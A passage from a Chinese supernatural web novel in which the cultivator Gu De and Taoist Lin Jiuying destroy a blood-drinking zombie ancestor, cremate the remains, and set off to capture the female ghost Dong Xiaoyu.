廖通海则全力摇动铜铃,魔音干扰着三人的心神,同时精细地操控着僵尸群,让它们不再是一窝蜂乱冲,而是变得更有章法,三五成群,重点**看起来威胁最大的古德。
试图用尸海战术将他困住、消耗。
铃声也一刻不停地刺激着廖家老祖,催促它更快挣脱束缚。
场面一时显得有些混乱。
僵尸数量确实不少,虽然个体实力不强,但不怕疼痛,不畏死亡,前仆后继地涌上来,加上屋顶不断袭来的冷箭和那无孔不入的扰魂铃声,确实给古德他们造成了些许麻烦,行动受到了一定的牵制。
尤其是那廖家老
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祖,在铃声疯狂催动和感受到子孙面临威胁的双重刺激下,猛地发出一声震天动地的咆哮,周身尸气轰然爆发!
“轰隆!”
它硬生生从凹陷的墙壁里挣脱出来,碎石飞溅!
它落在地上,双脚将青石板踏出裂纹。此刻的它,身上黑毛根根倒竖如钢针,暗红色的尸气如同火焰般在体表缭绕,气息比刚才被古德踹进墙里时更加强大凶戾了几分。
它那双惨绿中带着浑浊神采的眼睛,先是凶狠地瞪了古德一眼,随即竟转向屋顶的廖通海父子,双臂一展,如同巨大的黑色蝙蝠,带着腥风,不是扑向古德,而是朝着屋顶扑去!
它似乎还残存着一丝保护血亲的本能,或者廖通海的控尸法门对其有特殊的联系,让它想要将两人带离这个危险之地。
廖通海见状,眼中闪过一丝复杂的情绪,有欣慰,有痛惜,但更多的是一种破釜沉舟的决绝,他厉声对儿子喊道:
“明远!用**箭掩护你爷爷!我们撤!”
同时,他铃铛摇得更加急促尖锐,命令下方剩余的所有僵尸拼死阻挡古德和林九英,为他们的撤退创造机会。
廖明远也红了眼睛,他知道今晚事已难成,保住爷爷和自己父子性命才是首要。
他**箭频发,不再追求杀伤,而是射向古德和林九英前进的路径,试图用箭矢延缓他们的脚步。
然而,就在廖家老祖即将扑到屋顶,廖通海已经微微躬身准备接应父亲(爷爷),然后一同借力远遁之际,异变突生!
那浑身黑**、尸气冲天的廖家老祖,那双惨绿中带着浑浊神采的眼睛,落在近在咫尺的儿子廖通海和孙子廖明远身上时。
那最后一丝属于廖家老祖的清明和护犊之情,在长期阴气侵蚀、杀戮欲望冲击、以及刚刚吸食任府几个倒霉下人鲜血而点燃的狂暴本能下,被彻底淹没、吞噬!
贪婪、疯狂、对至亲血液那种源自生命本能的极致渴望,如同火山般爆发出来,彻底主宰了这具邪尸!
它口中发出含糊不清却充满饥渴的嘶吼,伸出乌黑锋利的爪子,不是要带他们走,而是快如闪电般,一手一个,如同铁钳般牢牢抓住了猝不及防、根本没有任何防备的廖通海和廖明远!
第280章 廖通海和廖明远噶
“爹?!你干什么?!”
廖通海脸上的决绝瞬间化为骇然与难以置信,他拼命挣扎,却感觉抓住自己肩膀的尸爪如同生根,纹丝不动!
“爷爷!放开我们!是我啊!明远!”
廖明远也惊恐万分地尖叫起来,手中的**箭都差点掉落。
“嗬……血……亲血……大补……永恒……”
那廖家老祖喉咙里挤出断续而扭曲的音节,属于廖家老祖魂魄的那部分,在无尽的痛苦和邪恶本能冲刷下,终于彻底疯狂,泯灭了最后的人性!
它此刻只遵循这具尸身和最原始的本能。
吸食至亲之人的精血魂魄,以此来弥补魂体与尸身不契合带来的巨大损伤,甚至冲击更高层次,摆脱这非生非死的痛苦状态!
在廖通海和廖明远绝望到极致的目光注视下,廖家老祖张开腥臭无比、獠牙外翻的大口,一口狠狠咬在了儿子廖通海的脖颈大动脉上!
“噗嗤!”
温热的鲜血如同喷泉般激射而出,溅了旁边的廖明远一脸一身!
“啊——!!”
廖通海发出凄厉得不似人声的惨嚎,身体剧烈地抽搐起来。
他能清晰地感觉到,自己的血液、生命的精气、乃至三魂七魄,都如同决堤的洪水,不受控制地被那獠牙疯狂吸走!
他眼中的神采迅速黯淡,充满了被最信任亲人背叛、吞噬的极致痛苦和绝望。
“爹!!”
廖明远目眦欲裂,泪水混合着父亲的鲜血流下,他拼命挣扎,拳打脚踢,甚至用头去撞那尸臂,却如同蚍蜉撼树,根本无法挣脱那铁箍般的尸爪。
短短两三息的时间,廖通海便脸色灰败如纸,眼神彻底涣散,惨叫声微弱下去,最终脑袋一歪,气息全无。
廖家老祖猛地一甩,将廖通海那已经干瘪下去、如同破布口袋般的尸体随意扔下了屋顶,发出沉闷的落地声。
然后,它那双彻底被猩红和贪婪占据的眼珠,缓缓转向了近在咫尺、吓得几乎魂飞魄散的孙子廖明远。
“不……不要……爷爷……我是明远啊……你唯一的孙子啊……”
廖明远涕泪横流,语无伦次地哀求,裤裆处湿了一片,传来腥臊之气。
然而,回应他的,只有那带着恶臭腥风的血盆大口,和同样锋利的獠牙。
“咔嚓!”
同样的命运,没有丝毫意外地降临。
廖明远只来得及发出一声短促而尖利的惨呼,便步了其父的后尘,被这具承载着祖父魂魄的邪尸,吸干了全部精血和生魂,变成一具枯槁的尸骸,被随手丢弃,与他父亲的尸体作伴,滚落在地。
吸食了两名至亲的全部精血和生魂,那廖家老祖仰天发出一声既舒畅无比又暴戾凶残的长嚎!
声音如同夜枭泣血,令人毛骨悚然。
它周身原本澎湃的黑色尸气骤然向内收缩,仿佛被某种力量强行压缩,紧接着,一股更加猛烈、颜色转向暗红、如同凝固血液般的凶煞之气,轰然爆发出来!
它的体型以肉眼可见的速度膨胀了一圈,原本坚硬的黑**之下,开始鼓起一个个鸽蛋大小、不断蠕动的诡异肉瘤,散发出的气息比之前强大了何止一倍!
充满了血腥、暴虐和不祥!
它竟在此时,借助吞噬血亲的残酷献祭,开始向更恐怖、更邪恶的血煞僵层次变异进阶!
“不好!它借至亲之血强行蜕变!若让它成了气候,整个任家镇怕是都要遭殃!”
林九英脸色大变,语气中充满了焦急。
他深知这种邪
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物的可怕,一旦完成进阶,其实力将发生质变,极难对付。
“嗬……嗬……”廖家老祖,不,此刻或许应称其为血煞邪尸。
它喉咙里发出如同破风箱般的响声,那双彻底化为血红色的眼珠,冰冷地扫了下方的古德、林九英等人一眼,竟不再攻击,而是转身欲逃!
它似乎还保留着一点狡猾的灵智,知道刚刚吞噬的力量需要时间消化和巩固,不愿在此刻与强敌硬拼。
“想走?问过我没有!”
古德一直冷眼旁观这幕违背人伦的惨剧,心中并无多少波澜,只有对邪术的厌恶。
此刻见这吸食子孙的邪物想逃,岂能容它祸害世间。
他脚下猛地一跺,脚下青石板咔嚓一声碎裂开来,身形借助这股反冲之力,如同出膛的炮弹般冲天而起,瞬间越过了下方那些因失去铃声操控而变得茫然无序的普通黑僵,后发先至,竟然在空中追上了刚跃起欲逃的血煞邪尸!
“给我回去!”
古德人在空中,腰腹发力,身体如同大弓般拧转,右腿如同一条钢鞭,带着撕裂空气的呼啸声,灌注了磅礴气血之力,一记凌厉的侧踹,狠狠踹在邪尸的腰肋之间!
“嘭!!!”
一声如同擂响战鼓般的闷雷巨响在场中炸开!
那刚刚进阶、气势正盛、自以为可以逃之夭夭的血煞邪尸,竟然被这朴实无华却蕴含巨力的一脚,踹得如同断了线的风筝,以比去时更快的速度,倒飞回去。
它如同一个破麻袋般,重重砸落在院子中央那群茫然呆立的普通僵尸群里!
“砰砰砰!”
一连串的撞击声响起,好几具躲闪不及的黑僵被这巨大的撞击力砸得筋断骨折,倒下一片,尘土混合着尸气弥漫开来。
第281章 一剑枭首,订单完成
古德身形飘然落地,轻盈无声,与刚才那狂暴的一脚形成鲜明对比。
他手中青铜阔剑斜指地面,剑身之上,暗金色的流光再次亮起,比之前更加璀璨。
他抬头望了一眼晦暗的夜空,心中默运玄功,体内精纯的法力如同江河奔涌,沟通手中这柄被请神神力洗刷过,现在变的更加神异的法剑。
只见青铜阔剑那古朴厚重的剑身之上,原本有些模糊的七点星纹,骤然依次亮起微光,仿佛与遥远天穹上那七颗亘古长存的星辰产生了玄妙的共鸣。
一股苍凉、浩大、蕴含无尽杀伐决断之意的气息,以古德为中心,以青铜剑为媒介,弥漫开来。
这气息并不暴烈,却带着一种裁决生死、**邪祟的无上威严。
林九英感受到这股迥异于寻常道法,却又堂堂正正、凛然不可犯的气息,眼中顿时爆发出惊人的神采,忍不住低呼:
“这是……引动星辰之力?!北斗诛邪?!”
古德对林九英的惊叹恍若未闻,只见他剑诀一引,口中清叱,声震四野:
“北斗注死,贪狼破煞!”
话音未落,剑身上代表北斗第一星“贪狼”的星纹骤然光芒大放,一道凝练无比、仿佛能斩断世间一切邪祟煞气的璀璨星光剑气,自青铜阔剑的剑尖迸射而出!
这道剑气撕裂夜色,带着一往无前的决绝杀意,直斩向刚刚从僵尸堆里爬起、惊怒交加、发出震天咆哮的血煞邪尸!
这一剑,快得超越了视觉的捕捉!
仿佛剑光刚起,便已到了邪尸面前!
正是当初连那具皇族僵尸都未能完全抵挡的犀利杀招!
血煞邪尸刚刚完成初步进阶,灵觉敏锐,瞬间感受到了致命的威胁!
它狂吼一声,周身那暗红如血的凶煞尸气疯狂涌动,在身前瞬间凝聚成一面厚重无比、如同半凝固血浆般的暗红色盾牌!
同时,它那双布满肉瘤和黑**的手臂更是猛地交叉护在胸前要害,将防御提升到了极致!
“嗤——轰隆!!!”
璀璨的星光剑气与那暗红尸盾悍然对撞!
没有想象中的瞬间击破,那凝聚了邪尸大量本源尸气的盾牌竟顽强地抵挡了一瞬,接触点发出令人牙酸的“嗤嗤”声响,如同烧红的烙铁烫入冰水,星光与血煞之气剧烈地相互侵蚀、消磨!
最终,伴随着一声轰然炸响,暗红尸盾还是不堪重负,爆碎开来,化为漫天腥臭的血色气流!
但残余的星光剑气,也消耗了大半,依旧去势不减,狠狠斩在了邪**叉格挡的双臂之上!
“嗷呜——!!!”
邪尸发出了开战以来最痛苦、最凄厉的咆哮!
它的双臂之上,出现了两道深可见骨的焦黑剑痕,暗红色如同污血般的粘稠液体和浓烈的凶煞尸气,如同破了口的气囊,从中不断喷涌泄露出来!
它虽然勉强挡住了这必杀的一剑,没有当场被分尸,但也付出了惨重代价,尸气本源受创,那强行提升的进阶过程被打断,甚至遭到了反噬!
“咦?居然挡住了?”
古德眉毛一扬,略感意外。这借助血亲性命强行提升的邪物,其防御力确实比当初那具底蕴深厚的皇族僵尸还要变态几分。
北斗七星剑诀第一式“贪狼破煞”,主攻坚破煞,竟然没能将其重创失去战斗力。
但他心中毫无波澜,攻势更是没有丝毫迟缓。
“破军摧坚!”“禄存镇邪!”“文曲乱神!”“廉贞化煞!”“武曲诛邪!”“巨门封禁!”
古德脚踏罡步,身形如风,手中青铜剑依循北斗星序,一剑快似一剑,一剑重似一剑!
每一剑都引动相应的星辰之力,化作道道属性各异的璀璨剑气,如同七星连珠,又似天罗地网,将那想要挣扎反击、却因尸气外泄而实力不断衰减的血煞邪尸彻底笼罩!
剑光纵横,星辉洒落。
邪尸的咆哮从最初的愤怒,逐渐变为痛苦的哀嚎,再到最后的绝望嘶鸣。
它身上那些鼓起的肉瘤被剑气一个个斩破,流出腥臭的脓血,坚硬的黑**被
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绞碎,暗红尸气如同溃堤的洪水般汹涌外泄,庞大的身躯以肉眼可见的速度干瘪、萎靡下去,再无之前的凶焰。
当最后一式“巨门封禁”之力暂时禁锢住邪尸动作的瞬间。
古德身影一闪,出现在邪尸的侧面,双手紧握青铜阔剑的剑柄,全身澎湃的法力与引动的北斗星辉,尽数灌注于这最后一记朴实无华的平削之中!
“邪祟,当诛。”
冰冷的宣判声中,剑光如冷月寒霜,一闪而过。
邪尸那颗狰狞硕大、布满破裂肉瘤的头颅,带着难以置信的惊恐表情,冲天而起!
断颈处,没有温热的鲜血喷溅,只有大股大股浓黑恶臭、夹杂着暗红煞气的尸气,如同狼烟般滚滚涌出,迅速在夜空中消散、净化。
无头的尸身剧烈地颤抖了几下,最终轰然倒地,砸在青石板上,发出一声闷响,再无声息。
夜空之中,那原本笼罩的乌云,不知何时已然散开,一弯清冷的月牙洒下淡淡银辉,照在院中一片狼藉的地面、横七竖八的僵尸残骸、以及那具刚刚毙命的无头邪尸之上。
古德缓缓收剑而立,剑身上七星纹路的光芒渐渐隐去,恢复成古朴的青铜色泽。
他轻轻吐出一口浊气,胸腹间因全力运转剑诀而激荡的气血缓缓平复。
他转过身,看向身后的林九英、无心,以及从廊柱后小心翼翼走出来的任发父女和阿草。
就在这时,他脑海中,那熟悉的系统提示音再次清脆地响起。
【叮!检测到订单(林凤娇的求助)已完成。】
【订单要求:在幕后之人出现时,抓住幕后之人。(备注:幕后之人廖通海、廖明远已被血煞邪尸吞噬,邪尸已被宿主斩杀,视为任务完成。)】
【奖励发放:公里点数2000点已到账。】
【当前总公里点数:3500点。】
古德嘴角不由自主地向上弯了一下,很好,虽然过程有点意外,但结果不错。
2000点入手,这趟任家镇总算没白来。
第282章 邪尸事件完结
院子里,随着那具血煞邪尸被古德一剑枭首,庞大的无头尸身轰然倒地,那股最浓烈、最凶戾的尸煞之源算是彻底消散了。
但事情还没完,院子里还杵着十几具被廖通海用邪铃召来、此刻因铃声断绝而陷入茫然的黑僵呢。
这些家伙虽然灵智低下,行动迟缓,但留着终究是祸害,而且身上尸气未散,若不管不顾,日后说不定还会凭本能害人。
古德收了剑,朝林九英和无心那边抬了抬下巴:
“九哥,无心,剩下的这些呆头鹅,咱们抓紧清理了,免得夜长梦多。”
林九英点点头,脸上还残留着目睹廖家父子惨剧和古德惊天剑术带来的震撼,但他毕竟是经验丰富的道长,立刻收敛心神。
“正该如此。这些僵尸受邪法催动,虽无主使,但根基已损,戾气残留,留之无用。”
无心也活动了一下手腕,刚才一番激战,他虽然没受什么伤,但体力消耗也不小。
不过看着那一群呆呆站立、偶尔无意识嗬嗬两声的黑僵,他咧嘴一笑:
“好嘞,东家,林道长,咱们赶紧的,处理完了还能回去补个觉。”
当下,三人不再多言,各展手段。
古德提着青铜剑,专挑那些看起来尸气稍浓、或是离得近的,剑光一闪,便是一具僵尸彻底安静下来。
林九英则更讲究些,他从随身布袋里掏出符箓,口中念念有词,将符纸贴在僵尸额头,暂时定住,然后示意无心用他的桃木剑刺穿其心脉要害,彻底散其尸气。
无心有了刚才的经验,加上古德示意他省着点用血,便也配合着贴符、击破。
这些黑僵失去了控制,反抗微弱,清理起来比刚才轻松太多。
不过片刻功夫,十几具黑僵便横七竖八地倒了一地,尸气渐渐逸散,空气中弥漫的恶臭似乎都淡了一些。
看着满院子狼藉和倒伏的尸骸,古德收了剑,拍了拍手上并不存在的灰尘,对林九英调侃道:
“九哥,你这趟迁坟的生意,可真是亏啊。回头这费用,你可得跟任老爷好好算算,精神损失费、场地清理费、法器损耗费……一样都不能少。”
林九英被他说得苦笑连连,那一字眉都耷拉了下来,无奈道:
“阿德,你就别取笑我了。这次若非你和无心道友及时援手,后果不堪设想。我林九英这招牌,怕是要砸在任家镇了。至于费用……”
他摇摇头,“能平安了结此事,已是大幸,哪还敢奢求其他。”
无心在一旁插嘴,摸着肚子,眼神瞟向远处被阿草护着的任发,小声道:
“东家,林道长,别的先不说,这任老爷是不是该管顿饭?折腾大半夜,我这肚子又开始叫了。”
他这惦记吃的本性,倒是冲淡了几分肃杀气氛。
古德哈哈一笑,拍了拍无心的肩膀:“有道理!走,找苦主聊聊去。”
阿草护着任发和任婷婷从廊柱后走出。
任发看着满院狼藉,特别是那具无头的、正在快速干瘪的父亲尸身,以及屋顶下那两具干枯的廖家父子尸体,脸色变幻,又是后怕,又是复杂。
他走到古德和林九英面前,深深作揖,声音还在发颤:
“多……多谢古大师,九叔,还有这位无心大师,救命之恩,没齿难忘!若非诸位,我任家今夜必遭灭门之祸!”
林九英摆了摆手,神色依旧严肃:
“任老爷,此间事,皆因二十年前一段旧怨而起,如今廖家父子亦遭反噬,魂飞魄散,这段因果,算是了了。只是你这宅院……”
他看了看被破坏的庭院和弥漫的尸气,摇了摇头。
任发连忙道:“无妨无妨,院子毁了可以再修,人没事就好!”
他是真吓破了胆,此刻觉得能活着就是万幸。
古德这时像是才想起来,用剑鞘指了指那无头邪尸,对任发略带歉意地说道:
“对了,任老爷,刚才情况紧急,下手重了点,把你家老太爷的……呃,尸首,弄得不太完整。抱歉啊。”
任发一听,非但没有不满,脑袋摇得像拨浪鼓,连声道:
“古大师千万别这么说
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!您这是为民除害,为我任家斩断祸根!我感激还来不及!那……那已经不是先父了,是害人的邪物!该杀!该杀!”
他现在是后怕到了极点,别说老爹尸身没了脑袋,就是古德说要把尸身挫骨扬灰,他都不会有意见,只怕举双手双脚赞成。
林九英见任发如此表态,也松了口气,上前道:
“任老爷能明事理就好。此地尸气残留,这些僵尸遗骸也不能久置,需尽快火化,以绝后患。”
他看了看天色,东方已泛起鱼肚白。
“事不宜迟,请任老爷立刻派人,去寻些干燥的荔枝树枝来,就在院外空旷处搭起柴堆。任老太爷的尸身与其他僵尸,需分开火化。那些其他僵尸残骸焚烧后需要深埋,切不可留下半点尸毒或阴气。”
任发哪敢怠慢,连忙叫来几个躲在后院、战战兢兢的家丁和护院,又派人飞跑去保安队叫人。
很快,阿威带着一群同样面色惶恐的保安队员赶到了。
阿威看到院子里那修罗场般的景象,尤其是看到古德和林九英,脖子下意识地一缩,刚才路上家丁已经把事情经过都和他说了。
所以他白天那股嚣张劲儿早就丢到九霄云外去了,脸上堆着小心翼翼的讨好笑容,指挥着手下和任家家丁,按照林九英的吩咐,搬运僵尸尸体,寻找荔枝木,在任府大门外的空地上搭起了两个大大的柴堆。
林九英亲自指挥,将任老太爷的无头尸身单独置于一个柴堆上,其他黑僵的尸体则堆在另一个柴堆上。
他取来朱砂笔,在任老太爷尸身的柴堆四周画下符咒,又摆上香案,点燃香烛,开始肃穆地诵念《太上洞玄灵宝无量度人上品妙经》。
随着经文声起,那具无头尸身上最后一丝躁动的阴气似乎也渐渐平复。
古德、无心、阿草,以及任发父女、阿威等人,都站在不远处静静看着。
天色越来越亮,朝阳的第一缕金光刺破云层,洒落在众人身上。
“点火。”
林九英诵完一段经文,沉声下令。
第283章 秋生还是成了亡灵骑士
在林九英下令后。
家丁将火把丢入浇了火油的柴堆。
刹那间,烈焰腾空而起,噼啪作响。
两个柴堆很快被熊熊大火吞没,黑烟滚滚直上天空,其中夹杂着尸骨焚烧时特有的焦臭气味,但在晨风中和阳光的照耀下,这气味和烟雾也显得不那么阴森了。
任发看着父亲的尸身在火焰中化为灰烬,神色复杂,有悲伤,有后怕,更多的是一种解脱。
他转身再次对古德和林九英深深鞠躬:“古大师,九叔,大恩不言谢。还请几位务必赏光,让任某在府中略备薄酒,聊表心意……”
古德摆摆手,打断了他:
“任老爷,吃饭就不必了。折腾一夜,大家都需要休息。而且此地刚刚经过焚烧,也需要静置净化。你的心意我们领了。”
他确实懒得应酬,更重要的是,系统刚刚已经提示【订单“擒获幕后之人”已完成,奖励2000公里点数已发放】。
目的达到,他才没兴趣跟任发虚与委蛇。
林九英也婉言谢绝:
“任老爷,法事已毕,后续只需注意清理灰烬,用生石灰撒于焚烧之处即可。我等确实需要回去调息。告辞。”
任发见两人态度坚决,不敢强留,只得再三道谢,并表示改日定当备上厚礼登门致谢以及商量他父亲的衣冠冢事情。
古德带着阿草和无心,跟林九英打了个招呼,便先行离开了任府,返回镇外停放的房车。
一上车,古德也顾不得别的,直接倒头就睡。
这一晚上,又是斗僵尸又是引星光,看似举重若轻,实际消耗的心神和法力也不小。
这一觉睡得颇为香甜,直到十点才醒。
阿草准备好了算是早饭也算是午饭的早午饭,虽是在房车厨房做的,但也是香气扑鼻。
三人吃过饭后,古德决定去向林九英辞行。
任家镇的事情告一段落,系统订单也完成了,他打算去别处转转,看看能不能在其他地方触发新的订单。
再次来到义庄时,已是午后。
阳光有些慵懒地洒在院子里,与昨晚的肃杀景象截然不同。
一进义庄大门,古德就看到一幅颇为祥和又有点滑稽的景象。
院子里,秋生正躺在一张老旧的竹制躺椅上,脑袋歪在一边,张着嘴,睡得正香,还时不时打个大大的哈欠,眼角都挤出泪花,一副被掏空了身子的惫懒模样。
而林九英则一脸铁青,手里拿着毛笔和朱砂碗,正弯着腰,在秋生敞开的衣襟里,前胸后背地画着复杂的符咒线条。
文才则苦着脸站在一旁,被林九英低声训斥着:
“……让你看着停尸房,你倒好,睡得比**还沉!若不是你古师叔他们碰巧撞破,昨晚任家就要出大事!回去把《茅山戒律》抄一百遍!不抄完不准吃饭!”
文才缩着脖子,小声辩解:“师父,我也不知道啊,我就打了个盹……”
“打盹?棺材板塌了,符被破了,那么大动静你都听不见?你是猪吗?!”
林九英气得手一抖,差点画错一笔。
而躺椅上的秋生,对师父的怒火和文才的委屈浑然不觉,依旧沉浸在梦乡里,只是偶尔皱皱眉,似乎在梦里也不**生。
古德站在门口,看到这一幕,脸上不由得露出一个似笑非笑的表情。
他心中了然:看来剧情的惯性,或者说某些“缘分”,还是强大得很啊。
秋生这副德行,明显是元阳已泄,精气亏损。
再看他这精疲力尽的样子,昨晚怕是在一场风雨交加的夜晚发生了一场“激烈战斗”,彻底从“童子鸡”变成了“亡灵骑士”。
在修行路上,这元阳一泄,根基有损,除非另有奇遇,否则想攀登更高境界,怕是难了。
古德脑海里莫名响起了那部电影里的经典旋律和歌词:“她的眼睛,她的眼睛,好似好似星星发光……”
他忍不住在心里摇了摇头,对林九英生出了一丝同情。
这位九哥,道法高深,为人正直,偏偏收了这么一对活宝徒弟。
一个看守停尸房能把僵尸看丢,一个能稀里糊涂被女鬼迷了心窍,破了修行根基。
这对比起自己手下乖巧能干的阿草和勤快靠谱的无心,简直是天上地下。
林九英此时也画完了最后一笔符文,直起腰,长舒一口气,一抬眼就看到了门口的古德,脸上顿时闪过一丝尴尬,老脸都有些挂不住了。
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>他感觉自己在这位好友面前,好像总是在丢脸。
看看人家的手下,阿草乖巧伶俐,厨艺法术样样拿手;无心沉稳可靠,本事不俗。
再看看自己这两个徒弟……唉,人比人得死,货比货得扔。
古德很贴心地假装没看到秋生的异状和林九英的尴尬,神色如常地走了进去,笑着打招呼:“九哥,忙着呢?”
林九英赶紧将毛笔和朱砂碗放到一边,擦了擦手,迎了上来,勉强挤出一个笑容:
“阿德来了,快请坐。唉,让您见笑了,正在处理一点……家务事。”
他实在不好意思说徒弟被女鬼睡了。
“无妨无妨。”
古德摆摆手,在石桌旁坐下,说明了来意,“九哥,任家镇这边的事情既然已经了结,我打算今日便告辞,继续往南边走走看看。”
林九英闻言,脸上露出真诚的不舍:“这么快就要走?你才来两天,就帮我解决了这么大一个麻烦,我还没来得及好好招待你。”
古德笑道:“九哥客气了,你我之间,无需这些虚礼。以后路过,再来叨扰。”
林九英知道古德是洒脱之人,便也不再强留,只是坚持道:
“那中午这顿饭,你一定要赏脸!我在镇上福满楼定了席面,就当是给你和阿草姑娘、无心道友饯行,你可不能再推辞了!”
见林九英态度坚决,古德也不再拒绝,笑着应下:“好,那就让九哥破费了。”
事情说定,古德又闲聊了几句,便起身告辞,约定中午酒楼见。
临走前,他又瞥了一眼还在酣睡的秋生,心中有了个念头。
那个缠上秋生的女鬼董小玉,在电影里算是个痴情但终究是害了人的厉鬼。
自己既然要走了,不如顺路去“拜访”一下,把她收了。
一来,多个阴德进账,蚊子腿也是肉;二来,也算帮林九英解决个潜在的麻烦,免得秋生这傻小子被女鬼迷住,给了林九英几拳。
林九英要是知道了,还得跟自己说声谢谢呢。
至于秋生会不会怪自己“棒打鸳鸯”?
古德嘿嘿一笑,那就不关他的事了。
人鬼殊途,况且那女鬼的手段,可算不上什么良配。
第284章 董小玉,你的事发了
中午,福满酒楼雅间。
林九英做东,林九英点了满满一桌子菜,鸡鸭鱼肉样样俱全,看得出是下了血本。
秋生和文才也被叫来作陪,秋生虽然醒了,但还是没什么精神,勉强坐在那里,一副魂不守舍的样子。
文才则又恢复了那个没心没肺的样子,看着满桌子的菜,吃惊的道:“师父,你发财了啊!”
然后被林九英一个眼神瞪的马上认怂。
席间,林九英再次向古德表达了感谢和歉意:
“阿德,这次真是多亏你了。本来想着你来了能清闲几日,带你逛逛这任家镇,没想到接连出事,反倒让你跟着受累。我这心里,真是过意不去。”
古德举杯与他相碰,真心实意地道:
“九哥言重了。我辈修行,遇邪祟作乱,出手清除乃是本分。况且,我也并非没有收获。”
他指的是那2000点公里数。
他心里大致盘算了一下,林九英这条线,短时间内估计薅不出什么新订单了,不如去别处碰碰运气。
实在不行,找个阴气重的地方超度几个孤魂野鬼,用阴德兑换点公里数,也不算白跑一趟。
几人边吃边聊,气氛还算融洽。
饭后,古德正式告辞。
林九英带着两个徒弟,一直将古德三人送到镇口,这才依依惜别。
离开任家镇,古德却没有立刻朝着某个明确的目的地驶去。
他操控着处于隐匿模式的房车,拐上了另一条岔路。
阿草和无心坐在车里,看着窗外逐渐熟悉的景色,都有些疑惑。
阿草忍不住问道:
“老板,我们不是往南走吗?怎么又往山上开?”
古德握着方向盘,嘴角带着一丝玩味的笑意:“不急,临走前,先去个地方,顺路收个小礼物。”
无心挠头:“小礼物?这荒山野岭的,还有礼物,难道是有什么宝贝在这里吗?”
“不是那些。”古德卖了个关子,“到了你们就知道了。”
房车沿着崎岖的山路向上行驶。
这段路虽然不算平坦,但对于动力强劲、底盘扎实的房车来说,并不算太难。
偶尔有横生的枝桠或者突出的岩石,也被古德直接操控车子碾过或者撞开,颇有几分蛮横的气势。
阿草和无心对视一眼,都看到了对方眼中的好奇,但也没多问。
不多时,房车开到了半山腰,靠近昨天任老太爷墓穴的那片区域。
古德停下车,带着阿草和无心走了下来。
山间的午后,阳光透过树叶洒下斑驳的光点,鸟鸣声声,看起来宁静祥和,完全无法想象昨晚山下任府发生的恐怖厮杀。
古德环顾四周,目光在附近几个略显老旧的坟包间扫过。
阿草和无心跟着他,一脸茫然。
阿草再次好奇地问:
“老板,我们来这坟地干嘛呀??”
古德没有立刻回答,他像是散步一样,在几座墓碑前缓缓走过,目光扫过上面的字迹。
终于,他在一座看起来不算起眼、墓碑略显残破的坟前停了下来。
墓碑上,刻着的名字是——“爱女董小玉之墓”。
“嗯,就是这儿了。”古德点了点头,确认了目标。
阿草和无心凑过来一看,脸上都露出了困惑的表情。
阿草小声问:“老板,你找这个董小玉干嘛?”
古德神秘地笑了笑,没直接回答,而是看向无心,说道:“无心,接下来就交给你了。”
无心正打量着墓碑,闻言一愣,一脸懵地指着自己鼻子:“我?东家,交给我什么?”
古德脸上笑容更盛,脸上带着一种“跟你分享个大八卦”的神秘表情,对着无心道:
“这墓穴的主人,是个**有些年头的女鬼。她别的爱好没有,就喜欢勾引年轻力壮、元阳未泄的小伙子。”
他顿了顿,压低声音,促狭地说,“昨天夜里,她就把林道长那个徒弟秋生,给……破了身,吃了‘童子鸡’了。”
“啊?!”
阿草和无心同时呆住,忍不住发出了惊讶的声音。
阿草的小脸微红,啐了一口。
无心则是在短暂的错愕之后,实在没忍住,“噗嗤”一声笑了出来,越想越觉得滑稽,边笑边摇头:
“东家,这……这你怎么知道的?这也太……太搞笑了吧?林道长的徒弟,被个女鬼给……哈哈哈哈哈!”
他实在难以想象,林九英那样严肃正经的高人,徒弟居然会栽在一个女鬼的温柔乡里,这传出去怕是茅山派年度最大笑话。
对于一个修行者来说,简直是离谱他妈给离谱开门——离谱到家了。
古德也笑了笑,这事儿说起来确实充满了荒诞的喜剧效果。
他收起笑容,正色道:
“好了,你别管我怎么知道的。你也别笑了,赶紧干活。这女鬼董小玉,能迷惑修行者,道行不浅,多半已成了气候,是个厉鬼。
咱们既然碰上了,又恰好要离开,就顺手把她收了,一来免得她继续
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害人,二来也算帮九哥清理一下他徒弟惹下的风流债。”
他顿了顿,手腕一翻,如同变戏法般,掌中多出了一把长约三尺、通体呈暗紫色、木纹细腻如绸、隐隐有雷击焦痕的桃木剑。
剑身自然散发出一股纯阳破邪的凛然之气,显然不是凡品。
这正是他房车空间里库存的几把百年雷击桃木剑之一。
这种品质的法剑,在他这里虽然不算顶级,但也足够珍贵了。
他将桃木剑随手抛给无心:“这把桃木剑就给你用了,我看你老是咬手指头放血,看着都疼,也显得咱们太寒酸。
这剑自带破邪雷意,对付鬼物效果不错,你拿着防身也好,对敌也罢,都比你那血符方便点。”
无心接过桃木剑,入手微沉,触感温润中带着一丝雷霆的灼烈气息,顿时爱不释手。
他嘿嘿一笑,挽了个剑花,对古德抱拳道:“多谢东家赏赐!这下可方便多了!”
他之前确实习惯用血,主要是没啥趁手法器,现在有了这上好桃木剑,自然乐得轻松。
“别光顾着高兴。”
古德示意了一下那座“董小玉之墓”。
“正事儿要紧。这女鬼白天可能藏得深,或者墓里有蹊跷。你试试看,能不能把她‘请’出来。我和阿草给你压阵。”
无心闻言,立刻收敛了笑容,掂了掂手中的桃木剑,脸上露出跃跃欲试的表情。
他提着剑,几步走到董小玉的墓碑前,先是仔细打量了一下墓碑和坟堆,然后伸出左手,拇指在食指指尖上一掐。
习惯性动作,他差点又要咬,想起手里的剑,又讪讪地放下手。
他右手握紧桃木剑,左手并指如剑,虚点在墓碑之上,口中开始念念有词,周身泛起一层淡淡的、与桃木剑气息相合的血气光芒。
显然是在用自己的方法,探查墓中的阴灵。
古德则拉着阿草,向后退了两三步,顺手从房车空间里掏出一包瓜子,分给阿草一些,真的开始围观起来。
有无心这个专业的工具人出手,这种级别的厉鬼,应该用不着他亲自上场了。
他目光扫过周围静谧的山林,心里琢磨着,收了这女鬼,能换多少阴德点数呢?
蚊子腿也是肉,不嫌少。
这时,无心沉声喝道,声音中带着法力震荡,传入坟茔深处。
“董小玉,出来吧。你的事发了。”
午后的乱葬岗,微风似乎停滞了一瞬。
周围的光线,也仿佛暗淡了些许。
第285章 开门,查水表
无心握着那柄百年雷击桃木剑,站在“董小玉之墓”前,脸上的嬉笑之色渐渐收敛,变得专注起来。
刚才他运足中气喊了一嗓子,想叫那女鬼自己出来“聊聊”,可这荒坟野地除了风声和偶尔的鸟叫,再无半点回应。
“啧,不给面子啊。”
无心挠了挠他那寸头,嘀咕道,“该不会是不在家,出去串门了吧?还是躲着不敢见人?”
